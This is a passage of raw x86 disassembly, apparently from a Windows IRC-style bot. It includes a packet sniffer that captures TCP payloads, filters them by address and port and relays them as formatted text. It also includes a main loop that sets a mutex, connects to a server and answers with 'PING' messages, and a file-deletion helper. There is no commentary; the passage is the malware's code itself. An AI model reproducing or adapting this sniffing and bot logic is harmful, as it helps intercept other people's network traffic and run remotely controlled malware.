		xor	eax, eax
		lea	edi, [ebp+var_114B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_1264],	0
		xor	eax, eax
		lea	edi, [ebp+var_1263]
		stosd
		stosb
		lea	eax, [ebp+var_114C]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4044F7
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4045B2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_114C]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_1618],	eax
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1268],	ax
		and	[ebp+var_1038],	0
		xor	eax, eax
		lea	edi, [ebp+var_1037]
		stosd
		stosb
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_404552
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_1044]
		mov	[ebp+var_125C],	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1258],	ax


loc_4161E6:				; CODE XREF: sub_415F69+305j
					; sub_415F69+33Aj ...
		push	0
		push	1028h
		lea	eax, [ebp+var_1030]
		push	eax
		push	[ebp+var_104C]
		call	dword_417248	; recv
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_416217
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_416217:				; CODE XREF: sub_415F69+2A7j
		cmp	[ebp+var_17AC],	0FFFFFFFFh
		jz	short loc_416229
		cmp	[ebp+var_17AC],	0
		jnz	short loc_41622E


loc_416229:				; CODE XREF: sub_415F69+2B5j
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_41622E:				; CODE XREF: sub_415F69+2BEj
		mov	eax, [ebp+var_17AC]
		and	[ebp+eax+var_1030], 0
		mov	eax, [ebp+var_161C]
		mov	al, [eax]
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_161C]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_1628],	eax
		mov	eax, [ebp+var_1628]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_416273
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416273:				; CODE XREF: sub_415F69+303j
		mov	eax, [ebp+var_1628]
		mov	al, [eax+0Ch]
		shr	al, 4
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_1628]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_4162A8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162A8:				; CODE XREF: sub_415F69+338j
		push	[ebp+var_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_161C]
		movzx	eax, byte ptr [eax+9]
		cmp	eax, 6
		jnz	loc_416632
		movsx	eax, [ebp+var_127E]
		test	eax, eax
		jz	short loc_4162EB
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_125C]
		jz	short loc_4162EB
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162EB:				; CODE XREF: sub_415F69+36Aj
					; sub_415F69+37Bj
		movsx	eax, [ebp+var_1278]
		test	eax, eax
		jz	short loc_41630C
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jz	short loc_41630C
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: sub_415F69+38Bj
					; sub_415F69+39Cj
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1258]
		cmp	eax, ecx
		jnz	short loc_416340
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jnz	short loc_416340
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416340:				; CODE XREF: sub_415F69+3BFj
					; sub_415F69+3D0j
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1268]
		cmp	eax, ecx
		jnz	short loc_416374
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_1618]
		jnz	short loc_416374
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416374:				; CODE XREF: sub_415F69+3F3j
					; sub_415F69+404j
		push	[ebp+var_1624]
		push	[ebp+var_1610]
		push	[ebp+var_17AC]
		push	[ebp+var_4]
		call	sub_415EB7
		add	esp, 10h
		test	eax, eax
		jz	loc_416632
		and	[ebp+var_19B8],	0
		jmp	short loc_4163AF
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: sub_415F69:loc_416413j
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_4163AF:				; CODE XREF: sub_415F69+437j
		mov	eax, [ebp+var_19B8]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416415
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_4163DA
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Dh


loc_4163DA:				; CODE XREF: sub_415F69+463j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_4163F7
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	3Eh


loc_4163F7:				; CODE XREF: sub_415F69+480j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_416413
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Eh


loc_416413:				; CODE XREF: sub_415F69+49Cj
		jmp	short loc_4163A2
; ---------------------------------------------------------------------------


loc_416415:				; CODE XREF: sub_415F69+452j
		and	[ebp+var_19B8],	0
		mov	eax, [ebp+var_19B8]
		mov	[ebp+var_17AC],	eax
		jmp	short loc_416437
; ---------------------------------------------------------------------------


loc_41642A:				; CODE XREF: sub_415F69+507j
					; sub_415F69+51Aj ...
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_416437:				; CODE XREF: sub_415F69+4BFj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41645F
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_4164AA
; ---------------------------------------------------------------------------


loc_41645F:				; CODE XREF: sub_415F69+4DCj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jl	short loc_416472
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416472:				; CODE XREF: sub_415F69+505j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jg	short loc_416485
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416485:				; CODE XREF: sub_415F69+518j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_17AC]
		inc	eax
		mov	[ebp+var_17AC],	eax
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_4164AA:				; CODE XREF: sub_415F69+4F4j
		cmp	[ebp+var_17AC],	0
		jnz	short loc_4164B8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4164B8:				; CODE XREF: sub_415F69+548j
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+0Ch]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+10h]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_1628]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		push	offset dword_41DA60
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	[ebp+var_18B4],	eax
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		push	eax
		push	[ebp+var_4]
		mov	eax, [ebp+var_18B4]
		lea	eax, [ebp+eax+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4165AD
		jmp	loc_416655
; ---------------------------------------------------------------------------


loc_4165AD:				; CODE XREF: sub_415F69+63Dj
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		dec	eax
		mov	[ebp+var_17B0],	eax


loc_4165BF:				; CODE XREF: sub_415F69+6C7j
		mov	eax, [ebp+var_17B0]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416632
		push	180h
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17B0]
		push	eax
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41661F
		jmp	short loc_416653
; ---------------------------------------------------------------------------


loc_41661F:				; CODE XREF: sub_415F69+6B2j
		mov	eax, [ebp+var_17B0]
		add	eax, 17Fh
		mov	[ebp+var_17B0],	eax
		jmp	short loc_4165BF
; ---------------------------------------------------------------------------


loc_416632:				; CODE XREF: sub_415F69+35Bj
					; sub_415F69+42Aj ...
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416637:				; CODE XREF: sub_415F69+2A9j
					; sub_415F69:loc_416229j ...
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_416657
; ---------------------------------------------------------------------------


loc_416653:				; CODE XREF: sub_415F69+6B4j
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416655:				; CODE XREF: sub_415F69+63Fj
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416657:				; CODE XREF: sub_415F69+70j
					; sub_415F69+BDj ...
		pop	edi
		leave
		retn	4
sub_415F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41665C	proc near		; CODE XREF: sub_40A9CF+9FEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	3ABh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41667B
		jmp	locret_41670F
; ---------------------------------------------------------------------------


loc_41667B:				; CODE XREF: sub_41665C+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_41668F
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_416696
; ---------------------------------------------------------------------------


loc_41668F:				; CODE XREF: sub_41665C+23j
		mov	[ebp+var_8], 3


loc_416696:				; CODE XREF: sub_41665C+31j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4166AD
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4166B4
; ---------------------------------------------------------------------------


loc_4166AD:				; CODE XREF: sub_41665C+47j
		mov	[ebp+var_C], offset byte_41DF10


loc_4166B4:				; CODE XREF: sub_41665C+4Fj
		push	200h
		push	[ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 208h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		push	offset dword_41DAC8
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_415F69
		call	sub_4095A4
		add	esp, 14h

locret_41670F:				; CODE XREF: sub_41665C+1Aj
		leave
		retn
sub_41665C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416711	proc near		; CODE XREF: sub_4167B9+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41673B
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_41673D
; ---------------------------------------------------------------------------


loc_41673B:				; CODE XREF: sub_416711+1Aj
		xor	eax, eax

locret_41673D:				; CODE XREF: sub_416711+28j
		leave
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41673F	proc near		; CODE XREF: sub_40A9CF+C23p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41679C
		push	2
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_8]
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		jmp	short locret_41679E
; ---------------------------------------------------------------------------


loc_41679C:				; CODE XREF: sub_41673F+1Bj
		xor	eax, eax

locret_41679E:				; CODE XREF: sub_41673F+5Bj
		leave
		retn
sub_41673F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; CODE XREF: sub_4167B9+13p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		test	eax, eax
		jz	short loc_4167B5
		push	1
		pop	eax
		jmp	short loc_4167B7
; ---------------------------------------------------------------------------


loc_4167B5:				; CODE XREF: sub_4167A0+Ej
		xor	eax, eax


loc_4167B7:				; CODE XREF: sub_4167A0+13j
		pop	ebp
		retn
sub_4167A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167B9	proc near		; CODE XREF: sub_402698+1D9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416711
		pop	ecx
		test	eax, eax
		jz	short loc_4167D9
		push	[ebp+arg_0]
		call	sub_4167A0
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_4167DB
; ---------------------------------------------------------------------------


loc_4167D9:				; CODE XREF: sub_4167B9+Ej
		xor	eax, eax


loc_4167DB:				; CODE XREF: sub_4167B9+1Ej
		pop	ebp
		retn
sub_4167B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167DD	proc near		; CODE XREF: sub_40A9CF+8E9p

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_4], eax
		leave
		retn
sub_4167DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4167F1	proc near		; DATA XREF: brattyty:00420010o

var_12F4	= dword	ptr -12F4h
var_12F0	= dword	ptr -12F0h
var_12EC	= byte ptr -12ECh
var_115C	= byte ptr -115Ch
var_1128	= dword	ptr -1128h
var_1121	= byte ptr -1121h
var_1120	= byte ptr -1120h
var_101C	= dword	ptr -101Ch
var_1018	= byte ptr -1018h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417298
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_416BC0
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2
		call	dword_4170F4	; SetErrorMode
		and	[ebp+var_4], 0
		push	dword_41DB0C
		push	dword_41DB08
		push	3B7h
		push	dword_41DB04
		push	0
		push	dword_41DB00
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp+var_115C]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 20h
		and	[ebp+var_1128],	0
		jmp	short loc_416875
; ---------------------------------------------------------------------------


loc_416868:				; CODE XREF: sub_4167F1:loc_4168BAj
		mov	eax, [ebp+var_1128]
		inc	eax
		mov	[ebp+var_1128],	eax


loc_416875:				; CODE XREF: sub_4167F1+75j
		cmp	[ebp+var_1128],	0Ah
		jnz	short loc_416883
		call	sub_407148


loc_416883:				; CODE XREF: sub_4167F1+8Bj
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp+var_115C]
		push	eax
		push	0
		push	0
		call	dword_4170F8	; CreateMutexA
		mov	[ebp+var_12F0],	eax
		cmp	[ebp+var_12F0],	0
		jz	short loc_4168BA
		call	dword_417064	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4168BA
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------


loc_4168BA:				; CODE XREF: sub_4167F1+BBj
					; sub_4167F1+C5j
		jmp	short loc_416868
; ---------------------------------------------------------------------------


loc_4168BC:				; CODE XREF: sub_4167F1+C7j
		call	sub_403BD3
		call	sub_405FA3
		call	sub_40938F
		call	sub_412FC6
		call	sub_4102AE
		call	sub_40E979
		push	10h
		push	offset dword_41DB00
		call	sub_41055F
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DB00
		call	sub_40ECEB
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DB00
		call	sub_40ED6E
		pop	ecx
		pop	ecx
		call	sub_410422
		mov	dword_41ED10, eax
		call	sub_410422
		mov	dword_41ED14, eax
		call	sub_410422
		mov	dword_41ED18, eax
		call	sub_410422
		mov	dword_41ED1C, eax
		push	104h
		lea	eax, [ebp+var_1120]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_416961
		push	offset byte_41DF10
		push	offset dword_41EC0C
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_4169E1
; ---------------------------------------------------------------------------


loc_416961:				; CODE XREF: sub_4167F1+158j
		lea	eax, [ebp+var_1120]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_12F4],	eax
		jmp	short loc_416983
; ---------------------------------------------------------------------------


loc_416976:				; CODE XREF: sub_4167F1:loc_4169DFj
		mov	eax, [ebp+var_12F4]
		dec	eax
		mov	[ebp+var_12F4],	eax


loc_416983:				; CODE XREF: sub_4167F1+183j
		cmp	[ebp+var_12F4],	0
		jnz	short loc_41699F
		push	offset byte_41DF10
		push	offset dword_41EC0C
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_41699F:				; CODE XREF: sub_4167F1+199j
		mov	eax, [ebp+var_12F4]
		movsx	eax, [ebp+eax+var_1121]
		cmp	eax, 5Ch
		jnz	short loc_4169DF
		mov	eax, [ebp+var_12F4]
		lea	eax, [ebp+eax+var_1120]
		push	eax
		push	offset dword_41EC0C
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EC0C
		push	offset dword_41ED20
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: sub_4167F1+1BFj
		jmp	short loc_416976
; ---------------------------------------------------------------------------


loc_4169E1:				; CODE XREF: sub_4167F1+16Bj
					; sub_4167F1+1ACj ...
		call	sub_406E8E
		lea	eax, [ebp+var_12EC]
		push	eax
		push	202h
		call	dword_417264	; WSAStartup


loc_4169F8:				; CODE XREF: sub_4167F1+252j
					; sub_4167F1+2B6j
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		call	sub_409226
		and	dword ptr [ebp-1124h], 0
		and	[ebp+var_101C],	0


loc_416A19:				; CODE XREF: sub_416ADB+7j
		mov	[ebp+var_4], 1


loc_416A20:				; CODE XREF: sub_4167F1:loc_416A6Fj
					; sub_4167F1+2CFj
		push	0EA60h
		call	sub_40CF25
		push	eax
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_416A71
		cmp	[ebp+var_101C],	19h
		jnz	short loc_416A45
		and	[ebp+var_4], 0
		jmp	short loc_4169F8
; ---------------------------------------------------------------------------


loc_416A45:				; CODE XREF: sub_4167F1+24Cj
		cmp	[ebp+var_101C],	14h
		jnz	short loc_416A62
		call	sub_410422
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_416A6F
; ---------------------------------------------------------------------------


loc_416A62:				; CODE XREF: sub_4167F1+25Bj
		mov	eax, [ebp+var_101C]
		inc	eax
		mov	[ebp+var_101C],	eax


loc_416A6F:				; CODE XREF: sub_4167F1+26Fj
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_416A71:				; CODE XREF: sub_4167F1+243j
		push	1000h
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	dword ptr [ebp-1124h], 0
		jz	short loc_416AA3
		cmp	dword ptr [ebp-1124h], 0FFFFFFFFh
		jnz	short loc_416AAC


loc_416AA3:				; CODE XREF: sub_4167F1+2A7j
		and	[ebp+var_4], 0
		jmp	loc_4169F8
; ---------------------------------------------------------------------------


loc_416AAC:				; CODE XREF: sub_4167F1+2B0j
		and	[ebp+var_101C],	0
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40E943
		pop	ecx
		jmp	loc_416A20
sub_4167F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_416AC5	proc near		; DATA XREF: brattyty:004172A8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
sub_416AC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416ADB	proc near		; DATA XREF: brattyty:004172ACo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
		jmp	loc_416A19
sub_416ADB	endp

; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword_41DF18, 0
		jz	short loc_416B1E
		push	offset dword_41DE3C
		push	offset dword_41DB90
		call	sub_40D4AB
		pop	ecx
		pop	ecx


loc_416B1E:				; CODE XREF: brattyty:00416B0Bj
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B3A	proc near		; CODE XREF: sub_401000+3Cp
					; sub_4020C2+62p ...
		jmp	dword_41712C
sub_416B3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B40	proc near		; CODE XREF: sub_401146+7Ap
					; sub_4017AA+Ep ...
		jmp	dword_4171BC
sub_416B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B46	proc near		; CODE XREF: sub_401244+85p
					; sub_4017AA+22p ...
		jmp	dword_4171B8
sub_416B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B4C	proc near		; CODE XREF: sub_401244+25p
					; sub_401244+4DEp ...
		jmp	dword_4171B4
sub_416B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B52	proc near		; CODE XREF: sub_401244+1Ap
					; sub_401981+18p ...
		jmp	dword_4171B0
sub_416B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B58	proc near		; CODE XREF: sub_4017AA+5Ap
					; sub_4024F3+88p ...
		jmp	dword_4171AC
sub_416B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B5E	proc near		; CODE XREF: sub_4018AF+9Fp
					; sub_4055E5+231p ...
		jmp	dword_4171A8
sub_416B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B64	proc near		; CODE XREF: sub_4018AF+3Bp
					; sub_4018AF+5Dp ...
		jmp	dword_4171A4
sub_416B64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B6A	proc near		; CODE XREF: sub_401981+145p
					; sub_401981+158p ...
		jmp	dword_4171A0
sub_416B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B70	proc near		; CODE XREF: sub_401D6E+A5p
					; sub_403260+4Cp ...
		jmp	dword_41719C
sub_416B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B76	proc near		; CODE XREF: sub_401E38+1ABp
					; sub_4020C2+1A6p ...
		jmp	dword_417198
sub_416B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B7C	proc near		; CODE XREF: sub_401E38+179p
					; sub_402698+24Cp ...
		jmp	dword_417194
sub_416B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B82	proc near		; CODE XREF: sub_401E38+9Dp
					; sub_401E38+262p ...
		jmp	dword_417190
sub_416B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B88	proc near		; CODE XREF: sub_401E38+42p
					; sub_4020C2+159p ...
		jmp	dword_41718C
sub_416B88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B90	proc near		; CODE XREF: sub_4020C2+2C1p
					; sub_41102F+94p ...
		jmp	dword_417188
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B96	proc near		; CODE XREF: sub_4020C2+198p
					; sub_4020C2+1BCp ...
		jmp	dword_417184
sub_416B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B9C	proc near		; CODE XREF: sub_4024F3+26p
					; sub_4024F3+46p ...
		jmp	dword_417180
sub_416B9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA2	proc near		; CODE XREF: sub_402698+160p
					; sub_40CA29+F6p ...
		jmp	dword_41717C
sub_416BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA8	proc near		; CODE XREF: sub_402698+CCp
					; sub_402698+110p ...
		jmp	dword_417178
sub_416BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BAE	proc near		; CODE XREF: sub_402698+4Bp
					; sub_4083AD+3DFp ...
		jmp	dword_417174
sub_416BAE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



